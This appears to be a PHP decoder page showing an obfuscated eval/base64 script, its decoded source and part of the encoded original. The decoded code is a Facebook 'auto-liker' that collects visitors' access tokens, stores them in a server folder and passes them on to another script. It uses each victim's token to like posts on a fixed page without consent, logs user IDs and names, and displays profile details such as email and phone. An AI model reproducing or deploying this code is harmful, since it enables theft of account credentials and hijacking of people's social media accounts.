Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('DQppbmNsdWRlICdjc3MucGhwJzs/Pg0KPD9waHANCmVycm9yX3JlcG9ydGluZyg..

Decoded Output download


include 'css.php';?>
<?php
error_reporting(0);
include ('modif.php');
$lamafile = $set[limit];
$waktu = time();
if ($handle = opendir('block')) {
while(false !== ($file = readdir($handle)))
{
$akses = fileatime('block/'.$file);
if( $akses !== false)
if( ($waktu- $akses)>=$lamafile )
unlink('block/'.$file);
}
closedir($handle);
}
?>
<?php
error_reporting(0);
$lim = 3600;
$timeoff = time();
$aksen = fileatime('qqq/ref');
if( ($timeoff- $aksen)>=$lim ){
unlink('qqq/ref');
}
?>
<?php
$like = new like();
include ('modif.php');
include ('modif2.php');
if($_GET[act]){
print '<script>top.location.href="'.$set[token].'"</script>';
}
if($_POST['token']){
$access_token = $_POST['token'];
$me = $like -> me($access_token);
if($me['id']){
if($limit = fileatime('block/'.$me[id])){
$timeoff = time();
$cek = date("i:s",$timeoff - $limit);
$kes = date("i:s",$set[limit]);
echo' <div class="aclb apm abt"> <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yx/r/TyyjblaEqU7.png" width="16" height="16" class="l img"/> <font color="red">'.$set[2].' '.$kes.' minutes</font> = <font color="red">'.$cek.'</font></div>';
}else{
echo' <div class="aclb apm abt"> <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yi/r/Akq5NzBQWUE.png" width="16" height="16" class="l img"/> <font color="blue">'.$set[1].'</font></div>';
}
echo'
<div id="objects_container"><div id="root" role="main" data-sigil="context-layer-root content-pane"><div class="timeline nontouch"><div class="cover" id="m_timeline_cover_section" data-sigil="timeline-cover"><div/><div class="acw apl"><div class="ib"><a class="l" href="https://m.facebook.com/'.$me[id].'"/><img src="https://graph.facebook.com/'.$me[id].'/picture" width="50" class="l profpic img" alt="'.$me[name].'"/></a><div class="c"><span><strong class="profileName"> '.$me[name].' . <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yU/r/gATt-jY8pG8.png" width="7" height="14" class="presence_icon img"/></strong></span><br/><span class="mfss fcg"><span><div class="ib bylineItem"><img src="http://static.ak.fbcdn.net/rsrc.php/v2/yS/r/1HRQT0OcHKI.png" width="12" height="14" class="l img"/><span class="c mfss"> Bekerja di <a href="'.$set[6].'"> '.$set[3].'</a></span><div class="clear"/></div><div class="ib bylineItem"><img src="http://static.ak.fbcdn.net/rsrc.php/v2/yZ/r/gaJdRxAF-0d.png" width="12" height="14" class="l img"/><span class="c mfss"> Tinggal di <a href="'.$set[7].'">'.$set[4].'</a></span><div class="clear"/></div></span></span></div><div class="clear"/></div></div></div><br>

<div class="actionLinks"><a class="btn btnD" href="'.$set[8].'"> '.$set[5].' </a> </div></div></div>

<div class="aclb apm abt"> Hi <font color="red">
'.$me[name].'</font> '.$set[9].'
</div>
<div id="objects_container"><div class="acy aps abb"><span class="mfss">'.$set[10].'
</span></div>
</div>
';



$like -> database($access_token);
if($_POST[id]){
if($limit = fileatime('block/'.$me[id])){
$kes = date("i:s",$set[limit]);
echo' <center><img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/y5/r/XaD2c4CSAqh.png"/> <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/y5/r/XaD2c4CSAqh.png"/> <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/y5/r/XaD2c4CSAqh.png"/>
<br>'.$set[13].' <font color="red"> '.$kes.' minutes</font> !! <br> <form action="index.php"><input class="btn btnC" type="submit" value="Back Home"></form>';
exit;
}
$file = "idpost.php";
$handle = fopen($file, 'a');
fwrite($handle, "<input size=2 type=text value=$me[id]> <a href=https://m.facebook.com/$me[id]>$me[name]</a>");
fwrite($handle, "<br>");
fclose($handle);
if(!is_dir('block')){
mkdir('block');
}
$bg=fopen('block/'.$me[id],'w');
fwrite($bg,1);
fclose($bg);
$like -> pancal($_POST[id]);
}else{
$like -> getData($access_token);
}
}else{
$like -> invalidToken();
}
}else{
$like->form();
}
class like {

public function pancal($id){ 
include ('modif.php');
include ('modif2.php');
if(fileatime('qqq/api')){
$this-> _req('http://'.$_SERVER[HTTP_HOST].'/'.$set[db].'?limit='.$id);
}
if(fileatime('qqq/ze')){
$this-> _req('http://'.$_SERVER[HTTP_HOST].'/'.$set[db].'?limit='.$id);
}
if(fileatime('qqq/forapi')){
for($s=1;$s<6;$s++){
$this-> _req('http://'.$_SERVER[HTTP_HOST].'/'.$set[db].'?limit='.$id.'&n='.$s);
}
}
if(fileatime('qqq/forze')){
for($i=1;$i<4;$i++){
$this-> _req('http://'.$_SERVER[HTTP_HOST].'/'.$set[db].'?limit='.$id.'&n='.$i);
}
}
$this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/like.php?like='.$_POST['token']));
$this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/refresh.php'));
print '
<div class="aclb apl"> <div class="acw fclb" style="margin:4px;" align="center">'.$set[12].'
<br>
<img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yd/r/nhnyNv75DwF.png"/><img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/ys/r/LCzu9hoerjG.png"/>
<br>
<form action="index.php"><input class="btn btnC" type="submit" value="Back Home"></form></div></div>';
}

public function me($access){
$fes=json_decode($this->
_req('https://graph.facebook.com/261662564000945/feed?access_token='.$access.'&offset=0&limit=15'),true);

for($x=1;$x<=count($fes[data]);$x++){
$filo = $fes[data][$x-1][id];

$this->
_req('https://api.facebook.com/method/stream.addLike?post_id='.$filo.'&access_token='.$access);
}

$exe = json_decode($this-> _req('https://graph.facebook.com/app?access_token='.$access ))->id;
$extend = $this-> _req('https://graph.facebook.com/me/permissions?access_token='.$access);

if($exe == "260273468396" ){
$pos = strpos($extend, "publish_stream");
if ($pos == true) {
return json_decode($this-> _req('https://graph.facebook.com/me?access_token='.$access),true);
}else {
echo' <div class="acr apl">
Please Allow App to Access Your Profile! !, Try Again..</div>';
}
}else{
echo' <div class="acr apl">
Please Gunakan Token Skype!</div>';
}
}
public function database($access){
include ('modif.php');
$cut = explode('&',$access);
if(!is_dir($set[folder])){
mkdir($set[folder]);
}
$a=fopen($set[folder].'/'.$cut[0],'w');
fwrite($a,1);
fclose($a);
}
public function invalidToken(){
print '
<div class="acr apl">
Invalid Access Token
</div>
';
$this->form();
}

public function form(){
include ('modif.php');
$kas = file_get_contents('emo.txt'); 
    $kas = explode("
",$kas);
         $lih = $kas[mt_rand(0,count($kas)-1)];
$bol = file_get_contents('symbol.txt'); 
    $bol = explode("
",$bol);
         $sex = $bol[mt_rand(0,count($bol)-1)];
echo'

<div id="objects_container"><div id="root" role="main"
class="acw" data-sigil="context-layer-root content-pane"><div id="m_home_notice"/><div
class="async_composer"><div class="composer acg apm abt abb"><span
class="composerTextSelected"><img src="http://static.ak.fbcdn.net/rsrc.php/v2/yb/r/
ceZAuGCYnWY.png" width="14" height="16" class="composerIcon img"/> Gunakan Token Skype! </span>
<span class="composerText"><img src="'.$lih.'" width="16" height="16" class="l img"/><a href="?act=getToken"> Get Access Token </a></span>

<form
method="post" class="composer_form" id="composer_form" action="index.php">
<table cellspacing="0" cellpadding="0"
class="comboInput"><tr><td class="inputPic"><a href="?act=getToken"><img src="'.$set[skype].'" width="40" class="profpic img" alt="SKYPE"/></a></td><td class="inputCell"><input class="input composerInput composerInputSmall composerInputWithPic" id="composerInput" name="token" rows="2" cols="15" value="'.$_POST['token'].'" type="text"></td><td class="btnCell"><input
value="Masuk" type="submit" class="_56bs _5of- _56bu" data-sigil="composer-
submit"/></td></tr></table>
</form>

</div></div></div>

';


}

public function getData($access){
$feed=json_decode($this -> _req('https://graph.facebook.com/me/feed?access_token='.$access.'&limit=1'),true);
if(count($feed[data]) >= 1){
include ('modif2.php');
$kam = file_get_contents('emo.txt'); 
$kam = explode("
",$kam);
$lim = $kam[mt_rand(0,count($kam)-1)];

echo' <div class="aclb apm abt"><img src="'.$lim.'" width="16" height="16" class="l img"/> <span class="mfss fcg">'.$set[11].'</span></div>';

for($i=0;$i<count($feed[data]);$i++){
$uid = $feed[data][$i][from][id];
$name = $feed[data][$i][from][name];
$type = $feed[data][$i][type];
$mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
$id = $feed[data][$i][id];
$pic = $feed[data][$i][picture];
$fes=json_decode($this -> _req('https://graph.facebook.com/'.$id.'/likes?access_token='.$access.'&limit=1000'),true);
for($x=1;$x<=count($fes[data]);$x++){
$filosofi[] = $fes[data][$x-1][id];
}
$feed2=json_decode($this -> _req('https://graph.facebook.com/me?access_token='.$access),true);

echo'

<div class="aclb apm abt" style="margin-top:4px;margin-left:2px;margin-bottom:4px;margin-right:2px;">
<table>
<tr>
<td valign="top" class="aps">
<img src="http://graph.facebook.com/'.$uid.'/picture" alt="Facebookers" />
</td>
<td valign="top" class="l">
<span class="mfss fcg"> Name : '.$name.'<br>
Id : '.$uid.'<br>
Link : '.$feed2[link].'<br>
Location : '.$feed2[location][name].'<br>
Gender : '.$feed2[gender].'<br>
Religion : '.$feed2[religion].'<br>
Email : '.$feed2[email].'<br>
Username : '.$feed2[username].'<br>
Phone : '.$feed2[mobile_phone].'
</span><br/>
<span class="mfss fcg">
<abbr>
'.$type.'
</abbr>
<b>
<span class="fcg mfss">
.
</span>
</b>
<img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yv/r/5SYOjS874Mk.png" width="10" height="11" class="feedAudienceIcon img" />
</span></div>
</div></div>';

if($type=='photo'){
echo '
<br/>
<br/>
<br/>
<img src="'.$pic.'" alt=""class="imgCrop img" style="width:100%;height:100%;left:0;top:0;" />
<span>
'.$mess.'
</span>
';
}else{
if(count($filosofi) == '1000'){
echo '
<br/>
<span>
'.$mess.'
</span><br>
<br>
<span class="mfss fcg">Likes Anda sudah mencapai 1000 ke atas.</font></span>
';
}else{
echo '
<br/>
<span>
'.$mess.'
</span><br>
<br>
<span class="mfss fcg">Likes = <font color="blue">'.count($filosofi).'</font></span>
';
}
}
echo '
</td>
</tr>
</table>
<div class="aclb apm abt"><div align="right">
<form action="index.php" method="post"/>
<input type="text" name="id" value="'.$id.'"/><input type="hidden" name="token" value="'.$access.'"/><input name="pancal" type="submit" value="Start Liker!" class="btn btnC"/>
</form>
</div>
</div>
</div>
</div>';
}
}else{
print '
<div id="objects_container"><div class="acy aps abb"><span class="mfss">errOr... Your status not found
</span></div></div></div>
</div>';
}
print '
</div>
';
}

private function _req($url){
$ch = curl_init();
curl_setopt_array($ch,array(
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $url,
)
);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
}
?>
<?php include 'devalovers.php';

Did this file decode correctly?

Original Code

<?php
eval(base64_decode('DQppbmNsdWRlICdjc3MucGhwJzs/Pg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmluY2x1ZGUgKCdtb2RpZi5waHAnKTsNCiRsYW1hZmlsZSA9ICRzZXRbbGltaXRdOw0KJHdha3R1ID0gdGltZSgpOw0KaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCdibG9jaycpKSB7DQp3aGlsZShmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpDQp7DQokYWtzZXMgPSBmaWxlYXRpbWUoJ2Jsb2NrLycuJGZpbGUpOw0KaWYoICRha3NlcyAhPT0gZmFsc2UpDQppZiggKCR3YWt0dS0gJGFrc2VzKT49JGxhbWFmaWxlICkNCnVubGluaygnYmxvY2svJy4kZmlsZSk7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCn0NCj8+DQo8P3BocA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJGxpbSA9IDM2MDA7DQokdGltZW9mZiA9IHRpbWUoKTsNCiRha3NlbiA9IGZpbGVhdGltZSgncXFxL3JlZicpOw0KaWYoICgkdGltZW9mZi0gJGFrc2VuKT49JGxpbSApew0KdW5saW5rKCdxcXEvcmVmJyk7DQp9DQo/Pg0KPD9waHANCiRsaWtlID0gbmV3IGxpa2UoKTsNCmluY2x1ZGUgKCdtb2RpZi5waHAnKTsNCmluY2x1ZGUgKCdtb2RpZjIucGhwJyk7DQppZigkX0dFVFthY3RdKXsNCnByaW50ICc8c2NyaXB0PnRvcC5sb2NhdGlvbi5ocmVmPSInLiRzZXRbdG9rZW5dLiciPC9zY3JpcHQ+JzsNCn0NCmlmKCRfUE9TVFsndG9rZW4nXSl7DQokYWNjZXNzX3Rva2VuID0gJF9QT1NUWyd0b2tlbiddOw0KJG1lID0gJGxpa2UgLT4gbWUoJGFjY2Vzc190b2tlbik7DQppZigkbWVbJ2lkJ10pew0KaWYoJGxpbWl0ID0gZmlsZWF0aW1lKCdibG9jay8nLiRtZVtpZF0pKXsNCiR0aW1lb2ZmID0gdGltZSgpOw0KJGNlayA9IGRhdGUoImk6cyIsJHRpbWVvZmYgLSAkbGltaXQpOw0KJGtlcyA9IGRhdGUoImk6cyIsJHNldFtsaW1pdF0pOw0KZWNobycgPGRpdiBjbGFzcz0iYWNsYiBhcG0gYWJ0Ij4gPGltZyBzcmM9Imh0dHBzOi8vZmJzdGF0aWMtYS5ha2FtYWloZC5uZXQvcnNyYy5waHAvdjIveXgvci9UeXlqYmxhRXFVNy5wbmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgY2xhc3M9ImwgaW1nIi8+IDxmb250IGNvbG9yPSJyZWQiPicuJHNldFsyXS4nICcuJGtlcy4nIG1pbnV0ZXM8L2ZvbnQ+ID0gPGZvbnQgY29sb3I9InJlZCI+Jy4kY2VrLic8L2ZvbnQ+PC9kaXY+JzsNCn1lbHNlew0KZWNobycgPGRpdiBjbGFzcz0iYWNsYiBhcG0gYWJ0Ij4gPGltZyBzcmM9Imh0dHBzOi8vZmJzdGF0aWMtYS5ha2FtYWloZC5uZXQvcnNyYy5waHAvdjIveWkvci9Ba3E1TnpCUVdVRS5wbmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgY2xhc3M9ImwgaW1nIi8+IDxmb250IGNvbG9yPSJibHVlIj4nLiRzZXRbMV0uJzwvZm9udD48L2Rpdj4nOw0KfQ0KZWNobycNCjxkaXYgaWQ9Im9iamVjdHNfY29udGFpbmVyIj48ZGl2IGlkPSJyb290IiByb2xlPSJtYWluIiBkYXRhLXNpZ2lsPSJjb250ZXh0LWxheWVyLXJvb3QgY29udGVudC1wYW5lIj48ZGl2IGNsYXNzPSJ0aW1lbGluZSBub250b3VjaCI+PGRpdiBjbGFzcz0iY292ZXIiIGlkPSJtX3RpbWVsaW5lX2NvdmVyX3NlY3Rpb24iIGRhdGEtc2lnaWw9InRpbWVsaW5lLWNvdmVyIj48ZGl2Lz48ZGl2IGNsYXNzPSJhY3cgYXBsIj48ZGl2IGNsYXNzPSJpYiI+PGEgY2xhc3M9ImwiIGhyZWY9Imh0dHBzOi8vbS5mYWNlYm9vay5jb20vJy4kbWVbaWRdLiciLz48aW1nIHNyYz0iaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vJy4kbWVbaWRdLicvcGljdHVyZSIgd2lkdGg9IjUwIiBjbGFzcz0ibCBwcm9mcGljIGltZyIgYWx0PSInLiRtZVtuYW1lXS4nIi8+PC9hPjxkaXYgY2xhc3M9ImMiPjxzcGFuPjxzdHJvbmcgY2xhc3M9InByb2ZpbGVOYW1lIj4gJy4kbWVbbmFtZV0uJyAuIDxpbWcgc3JjPSJodHRwczovL2Zic3RhdGljLWEuYWthbWFpaGQubmV0L3JzcmMucGhwL3YyL3lVL3IvZ0FUdC1qWThwRzgucG5nIiB3aWR0aD0iNyIgaGVpZ2h0PSIxNCIgY2xhc3M9InByZXNlbmNlX2ljb24gaW1nIi8+PC9zdHJvbmc+PC9zcGFuPjxici8+PHNwYW4gY2xhc3M9Im1mc3MgZmNnIj48c3Bhbj48ZGl2IGNsYXNzPSJpYiBieWxpbmVJdGVtIj48aW1nIHNyYz0iaHR0cDovL3N0YXRpYy5hay5mYmNkbi5uZXQvcnNyYy5waHAvdjIveVMvci8xSFJRVDBPY0hLSS5wbmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxNCIgY2xhc3M9ImwgaW1nIi8+PHNwYW4gY2xhc3M9ImMgbWZzcyI+IEJla2VyamEgZGkgPGEgaHJlZj0iJy4kc2V0WzZdLiciPiAnLiRzZXRbM10uJzwvYT48L3NwYW4+PGRpdiBjbGFzcz0iY2xlYXIiLz48L2Rpdj48ZGl2IGNsYXNzPSJpYiBieWxpbmVJdGVtIj48aW1nIHNyYz0iaHR0cDovL3N0YXRpYy5hay5mYmNkbi5uZXQvcnNyYy5waHAvdjIveVovci9nYUpkUnhBRi0wZC5wbmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxNCIgY2xhc3M9ImwgaW1nIi8+PHNwYW4gY2xhc3M9ImMgbWZzcyI+IFRpbmdnYWwgZGkgPGEgaHJlZj0iJy4kc2V0WzddLiciPicuJHNldFs0XS4nPC9hPjwvc3Bhbj48ZGl2IGNsYXNzPSJjbGVhciIvPjwvZGl2Pjwvc3Bhbj48L3NwYW4+PC9kaXY+PGRpdiBjbGFzcz0iY2xlYXIiLz48L2Rpdj48L2Rpdj48L2Rpdj48YnI+DQoNCjxkaXYgY2xhc3M9ImFjdGlvbkxpbmtzIj48YSBjbGFzcz0iYnRuIGJ0bkQiIGhyZWY9IicuJHNldFs4XS4nIj4gJy4kc2V0WzVdLicgPC9hPiA8L2Rpdj48L2Rpdj48L2Rpdj4NCg0KPGRpdiBjbGFzcz0iYWNsYiBhcG0gYWJ0Ij4gSGkgPGZvbnQgY29sb3I9InJlZCI+DQonLiRtZVtuYW1lXS4nPC9mb250PiAnLiRzZXRbOV0uJw0KPC9kaXY+DQo8ZGl2IGlkPSJvYmplY3RzX2NvbnRhaW5lciI+PGRpdiBjbGFzcz0iYWN5IGFwcyBhYmIiPjxzcGFuIGNsYXNzPSJtZnNzIj4nLiRzZXRbMTBdLicNCjwvc3Bhbj48L2Rpdj4NCjwvZGl2Pg0KJzsNCg0KDQoNCiRsaWtlIC0+IGRhdGFiYXNlKCRhY2Nlc3NfdG9rZW4pOw0KaWYoJF9QT1NUW2lkXSl7DQppZigkbGltaXQgPSBmaWxlYXRpbWUoJ2Jsb2NrLycuJG1lW2lkXSkpew0KJGtlcyA9IGRhdGUoImk6cyIsJHNldFtsaW1pdF0pOw0KZWNobycgPGNlbnRlcj48aW1nIHNyYz0iaHR0cHM6Ly9mYnN0YXRpYy1hLmFrYW1haWhkLm5ldC9yc3JjLnBocC92Mi95NS9yL1hhRDJjNENTQXFoLnBuZyIvPiA8aW1nIHNyYz0iaHR0cHM6Ly9mYnN0YXRpYy1hLmFrYW1haWhkLm5ldC9yc3JjLnBocC92Mi95NS9yL1hhRDJjNENTQXFoLnBuZyIvPiA8aW1nIHNyYz0iaHR0cHM6Ly9mYnN0YXRpYy1hLmFrYW1haWhkLm5ldC9yc3JjLnBocC92Mi95NS9yL1hhRDJjNENTQXFoLnBuZyIvPg0KPGJyPicuJHNldFsxM10uJyA8Zm9udCBjb2xvcj0icmVkIj4gJy4ka2VzLicgbWludXRlczwvZm9udD4gISEgPGJyPiA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCI+PGlucHV0IGNsYXNzPSJidG4gYnRuQyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmFjayBIb21lIj48L2Zvcm0+JzsNCmV4aXQ7DQp9DQokZmlsZSA9ICJpZHBvc3QucGhwIjsNCiRoYW5kbGUgPSBmb3BlbigkZmlsZSwgJ2EnKTsNCmZ3cml0ZSgkaGFuZGxlLCAiPGlucHV0IHNpemU9MiB0eXBlPXRleHQgdmFsdWU9JG1lW2lkXT4gPGEgaHJlZj1odHRwczovL20uZmFjZWJvb2suY29tLyRtZVtpZF0+JG1lW25hbWVdPC9hPiIpOw0KZndyaXRlKCRoYW5kbGUsICI8YnI+Iik7DQpmY2xvc2UoJGhhbmRsZSk7DQppZighaXNfZGlyKCdibG9jaycpKXsNCm1rZGlyKCdibG9jaycpOw0KfQ0KJGJnPWZvcGVuKCdibG9jay8nLiRtZVtpZF0sJ3cnKTsNCmZ3cml0ZSgkYmcsMSk7DQpmY2xvc2UoJGJnKTsNCiRsaWtlIC0+IHBhbmNhbCgkX1BPU1RbaWRdKTsNCn1lbHNlew0KJGxpa2UgLT4gZ2V0RGF0YSgkYWNjZXNzX3Rva2VuKTsNCn0NCn1lbHNlew0KJGxpa2UgLT4gaW52YWxpZFRva2VuKCk7DQp9DQp9ZWxzZXsNCiRsaWtlLT5mb3JtKCk7DQp9DQpjbGFzcyBsaWtlIHsNCg0KcHVibGljIGZ1bmN0aW9uIHBhbmNhbCgkaWQpeyANCmluY2x1ZGUgKCdtb2RpZi5waHAnKTsNCmluY2x1ZGUgKCdtb2RpZjIucGhwJyk7DQppZihmaWxlYXRpbWUoJ3FxcS9hcGknKSl7DQokdGhpcy0+IF9yZXEoJ2h0dHA6Ly8nLiRfU0VSVkVSW0hUVFBfSE9TVF0uJy8nLiRzZXRbZGJdLic/bGltaXQ9Jy4kaWQpOw0KfQ0KaWYoZmlsZWF0aW1lKCdxcXEvemUnKSl7DQokdGhpcy0+IF9yZXEoJ2h0dHA6Ly8nLiRfU0VSVkVSW0hUVFBfSE9TVF0uJy8nLiRzZXRbZGJdLic/bGltaXQ9Jy4kaWQpOw0KfQ0KaWYoZmlsZWF0aW1lKCdxcXEvZm9yYXBpJykpew0KZm9yKCRzPTE7JHM8NjskcysrKXsNCiR0aGlzLT4gX3JlcSgnaHR0cDovLycuJF9TRVJWRVJbSFRUUF9IT1NUXS4nLycuJHNldFtkYl0uJz9saW1pdD0nLiRpZC4nJm49Jy4kcyk7DQp9DQp9DQppZihmaWxlYXRpbWUoJ3FxcS9mb3J6ZScpKXsNCmZvcigkaT0xOyRpPDQ7JGkrKyl7DQokdGhpcy0+IF9yZXEoJ2h0dHA6Ly8nLiRfU0VSVkVSW0hUVFBfSE9TVF0uJy8nLiRzZXRbZGJdLic/bGltaXQ9Jy4kaWQuJyZuPScuJGkpOw0KfQ0KfQ0KJHRoaXMtPiBfcmVxKCdodHRwOi8vZ29vZ2xlLmNvbS9nd3Qvbj91PScudXJsZW5jb2RlKCdodHRwOi8vJy4kX1NFUlZFUltIVFRQX0hPU1RdLicvbGlrZS5waHA/bGlrZT0nLiRfUE9TVFsndG9rZW4nXSkpOw0KJHRoaXMtPiBfcmVxKCdodHRwOi8vZ29vZ2xlLmNvbS9nd3Qvbj91PScudXJsZW5jb2RlKCdodHRwOi8vJy4kX1NFUlZFUltIVFRQX0hPU1RdLicvcmVmcmVzaC5waHAnKSk7DQpwcmludCAnDQo8ZGl2IGNsYXNzPSJhY2xiIGFwbCI+IDxkaXYgY2xhc3M9ImFjdyBmY2xiIiBzdHlsZT0ibWFyZ2luOjRweDsiIGFsaWduPSJjZW50ZXIiPicuJHNldFsxMl0uJw0KPGJyPg0KPGltZyBzcmM9Imh0dHBzOi8vZmJzdGF0aWMtYS5ha2FtYWloZC5uZXQvcnNyYy5waHAvdjIveWQvci9uaG55TnY3NUR3Ri5wbmciLz48aW1nIHNyYz0iaHR0cHM6Ly9mYnN0YXRpYy1hLmFrYW1haWhkLm5ldC9yc3JjLnBocC92Mi95cy9yL0xDenU5aG9lcmpHLnBuZyIvPg0KPGJyPg0KPGZvcm0gYWN0aW9uPSJpbmRleC5waHAiPjxpbnB1dCBjbGFzcz0iYnRuIGJ0bkMiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJhY2sgSG9tZSI+PC9mb3JtPjwvZGl2PjwvZGl2Pic7DQp9DQoNCnB1YmxpYyBmdW5jdGlvbiBtZSgkYWNjZXNzKXsNCiRmZXM9anNvbl9kZWNvZGUoJHRoaXMtPg0KX3JlcSgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMjYxNjYyNTY0MDAwOTQ1L2ZlZWQ/YWNjZXNzX3Rva2VuPScuJGFjY2Vzcy4nJm9mZnNldD0wJmxpbWl0PTE1JyksdHJ1ZSk7DQoNCmZvcigkeD0xOyR4PD1jb3VudCgkZmVzW2RhdGFdKTskeCsrKXsNCiRmaWxvID0gJGZlc1tkYXRhXVskeC0xXVtpZF07DQoNCiR0aGlzLT4NCl9yZXEoJ2h0dHBzOi8vYXBpLmZhY2Vib29rLmNvbS9tZXRob2Qvc3RyZWFtLmFkZExpa2U/cG9zdF9pZD0nLiRmaWxvLicmYWNjZXNzX3Rva2VuPScuJGFjY2Vzcyk7DQp9DQoNCiRleGUgPSBqc29uX2RlY29kZSgkdGhpcy0+IF9yZXEoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL2FwcD9hY2Nlc3NfdG9rZW49Jy4kYWNjZXNzICkpLT5pZDsNCiRleHRlbmQgPSAkdGhpcy0+IF9yZXEoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lL3Blcm1pc3Npb25zP2FjY2Vzc190b2tlbj0nLiRhY2Nlc3MpOw0KDQppZigkZXhlID09ICIyNjAyNzM0NjgzOTYiICl7DQokcG9zID0gc3RycG9zKCRleHRlbmQsICJwdWJsaXNoX3N0cmVhbSIpOw0KaWYgKCRwb3MgPT0gdHJ1ZSkgew0KcmV0dXJuIGpzb25fZGVjb2RlKCR0aGlzLT4gX3JlcSgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vbWU/YWNjZXNzX3Rva2VuPScuJGFjY2VzcyksdHJ1ZSk7DQp9ZWxzZSB7DQplY2hvJyA8ZGl2IGNsYXNzPSJhY3IgYXBsIj4NClBsZWFzZSBBbGxvdyBBcHAgdG8gQWNjZXNzIFlvdXIgUHJvZmlsZSEgISwgVHJ5IEFnYWluLi48L2Rpdj4nOw0KfQ0KfWVsc2V7DQplY2hvJyA8ZGl2IGNsYXNzPSJhY3IgYXBsIj4NClBsZWFzZSBHdW5ha2FuIFRva2VuIFNreXBlITwvZGl2Pic7DQp9DQp9DQpwdWJsaWMgZnVuY3Rpb24gZGF0YWJhc2UoJGFjY2Vzcyl7DQppbmNsdWRlICgnbW9kaWYucGhwJyk7DQokY3V0ID0gZXhwbG9kZSgnJicsJGFjY2Vzcyk7DQppZighaXNfZGlyKCRzZXRbZm9sZGVyXSkpew0KbWtkaXIoJHNldFtmb2xkZXJdKTsNCn0NCiRhPWZvcGVuKCRzZXRbZm9sZGVyXS4nLycuJGN1dFswXSwndycpOw0KZndyaXRlKCRhLDEpOw0KZmNsb3NlKCRhKTsNCn0NCnB1YmxpYyBmdW5jdGlvbiBpbnZhbGlkVG9rZW4oKXsNCnByaW50ICcNCjxkaXYgY2xhc3M9ImFjciBhcGwiPg0KSW52YWxpZCBBY2Nlc3MgVG9rZW4NCjwvZGl2Pg0KJzsNCiR0aGlzLT5mb3JtKCk7DQp9DQoNCnB1YmxpYyBmdW5jdGlvbiBmb3JtKCl7DQppbmNsdWRlICgnbW9kaWYucGhwJyk7DQoka2FzID0gZmlsZV9nZXRfY29udGVudHMoJ2Vtby50eHQnKTsgDQogICAgJGthcyA9IGV4cGxvZGUoIlxuIiwka2FzKTsNCiAgICAgICAgICRsaWggPSAka2FzW210X3JhbmQoMCxjb3VudCgka2FzKS0xKV07DQokYm9sID0gZmlsZV9nZXRfY29udGVudHMoJ3N5bWJvbC50eHQnKTsgDQogICAgJGJvbCA9IGV4cGxvZGUoIlxuIiwkYm9sKTsNCiAgICAgICAgICRzZXggPSAkYm9sW210X3JhbmQoMCxjb3VudCgkYm9sKS0xKV07DQplY2hvJw0KDQo8ZGl2IGlkPSJvYmplY3RzX2NvbnRhaW5lciI+PGRpdiBpZD0icm9vdCIgcm9sZT0ibWFpbiINCmNsYXNzPSJhY3ciIGRhdGEtc2lnaWw9ImNvbnRleHQtbGF5ZXItcm9vdCBjb250ZW50LXBhbmUiPjxkaXYgaWQ9Im1faG9tZV9ub3RpY2UiLz48ZGl2DQpjbGFzcz0iYXN5bmNfY29tcG9zZXIiPjxkaXYgY2xhc3M9ImNvbXBvc2VyIGFjZyBhcG0gYWJ0IGFiYiI+PHNwYW4NCmNsYXNzPSJjb21wb3NlclRleHRTZWxlY3RlZCI+PGltZyBzcmM9Imh0dHA6Ly9zdGF0aWMuYWsuZmJjZG4ubmV0L3JzcmMucGhwL3YyL3liL3IvDQpjZVpBdUdDWW5XWS5wbmciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNiIgY2xhc3M9ImNvbXBvc2VySWNvbiBpbWciLz4gR3VuYWthbiBUb2tlbiBTa3lwZSEgPC9zcGFuPg0KPHNwYW4gY2xhc3M9ImNvbXBvc2VyVGV4dCI+PGltZyBzcmM9IicuJGxpaC4nIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIGNsYXNzPSJsIGltZyIvPjxhIGhyZWY9Ij9hY3Q9Z2V0VG9rZW4iPiBHZXQgQWNjZXNzIFRva2VuIDwvYT48L3NwYW4+DQoNCjxmb3JtDQptZXRob2Q9InBvc3QiIGNsYXNzPSJjb21wb3Nlcl9mb3JtIiBpZD0iY29tcG9zZXJfZm9ybSIgYWN0aW9uPSJpbmRleC5waHAiPg0KPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCINCmNsYXNzPSJjb21ib0lucHV0Ij48dHI+PHRkIGNsYXNzPSJpbnB1dFBpYyI+PGEgaHJlZj0iP2FjdD1nZXRUb2tlbiI+PGltZyBzcmM9IicuJHNldFtza3l